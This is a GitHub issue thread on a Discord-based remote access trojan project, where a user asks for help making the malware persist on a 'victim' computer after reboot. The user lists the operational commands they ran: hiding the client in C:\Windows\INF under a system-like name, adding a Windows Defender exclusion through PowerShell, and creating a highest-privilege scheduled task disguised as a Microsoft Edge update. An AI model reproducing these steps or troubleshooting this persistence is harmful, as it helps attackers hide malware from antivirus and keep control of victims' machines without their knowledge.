search

moom825 / Discord-RAT-2.0

Discord Remote Administration Tool fully written in c#, stub size of ~75kb, over 40 post exploitations modules
371 stars 91 forks source link

startup don't work #16

Closed RAZ321 closed 1 year ago

RAZ321 commented 1 year ago

When the user use the startup command with admin right, it make a task schedule but when the victim restart his computer the file don't start after doing these command : !shell move C:\Users\users\Desktop\Client-built.exe C:\Windows\INF !shell ren C:\Windows\INF\Client-built.exe WindowsINF.exe !cd C:\Windows\INF !shell powershell -Command Add-MpPreference -ExclusionPath "C:\Windows\INF" !shell C:\Windows\INF\WindowsINF.exe then i click on the new session and !startup

RAZ321 commented 1 year ago

so i tried to edit the line 716 of program.cs in the discord rat to : string x = String.Format("/create /tn \"{1}\" /tr \"'{0}'\" /sc onstart /rl HIGHEST", System.Reflection.Assembly.GetEntryAssembly().Location, "MicrosoftEdgeUpdateTaskMachineUATC");

RAZ321 commented 1 year ago

and after the restart, the file don't start. Can you help me find this issue pls

moom825 commented 1 year ago

are you able to dm me please moom825#9999